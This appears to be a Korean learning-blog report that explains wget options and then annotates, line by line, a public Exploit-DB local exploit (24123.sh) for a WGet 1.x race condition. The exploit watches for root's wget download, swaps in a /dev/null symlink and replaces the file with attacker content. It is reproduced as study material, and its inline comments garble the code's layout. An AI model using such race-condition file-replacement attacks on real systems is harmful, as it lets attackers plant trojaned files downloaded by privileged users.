쉘 스크립트 분석 보고서
Linux wget 이란 ?
- wget 은 웹으로부터 파일이나 디렉토리를 다운로드 하는 역할은 한다.
wget사용 방법
# wget [옵션] [다운로드하고자 하는 URL] |
# wget 옵션
옵션 |
설명 |
-r |
디렉토리 구조와 파일을 그대로 하여 복사 |
-b |
백그라운드에서 파일다운로드 실행 |
-c |
연결이 끊긴 시점부터 이어서 파일 다운로드 |
분석 파일
# searchsploit linux | egrep '.sh$' | grep 24123.sh |
WGet 1.x Insecure File Creation Race Condition Vulnerability | /linux/local/24123.sh
4. 소스 파일
( 파일 위치 : /usr/share/exploitdb/platforms/linux/local )
source: http://www.securityfocus.com/bid/10361/info
The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads.
A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget.
#!/bin/bash
rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2 //파일 삭제 echo "1">salida.txt // 1을 넣어 salida.txt 파일 생성 a=`cat salida.txt` // 변수 a에 1대입 echo "Waiting for Wget execution..." // 출력문
while [ "$a" == 1 ] //변수 a가 1이면 반복문 출력 do ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt // wget 과 patch-2.4.26.bz2 가 들어간 프로세스를 검색해 salida.txt에 저장 a=`cat salida.txt` // salida파일을 출력하여 변수 a에 저장 done
echo "Process catched!" pgrep -u root wget>pid.txt // root 유저가 사용하는 프로세스중 wget의 프로세스 id를 찾아 저장 ln -s /dev/null /tmp/patch-2.4.26.bz2 // /dev/null 링크 생성 echo "/dev/null link created!" echo "Waiting for downloading to finish..."
b=`pgrep -u root wget` touch $b.wget c=1 while [ "$c" == 1 ] do if [ -e .wget ] //wget 파일이 존재하는 경우 if문 시작 then c=0 // while 문 종료를 위해 0을 대입 echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)" rm –f /tmp/patch-2.4.26.bz2 // /tmp/patch-2.4.26.bz2 파일 삭제 echo "Surprise!">/tmp/patch-2.4.26.bz2 // /tmp/patch-2.4.26.bz2에 Surprise!저장 echo "Does it worked?"
ls –la /tmp/patch-2.4.26.bz2 // /tmp/patch-2.4.26.bz2 파일 검색
else // 존재가 하지 않으면 다시 생성. b=`pgrep -u root wget` touch $b.wget fi
done |
'Learning > └보고서' 카테고리의 다른 글
Yasca program Report (0) | 2016.12.27 |
---|---|
Shell Scripts Report Ⅱ (0) | 2016.12.11 |
Googling Report (0) | 2016.12.10 |
Bash Shell Bug Report (0) | 2016.12.10 |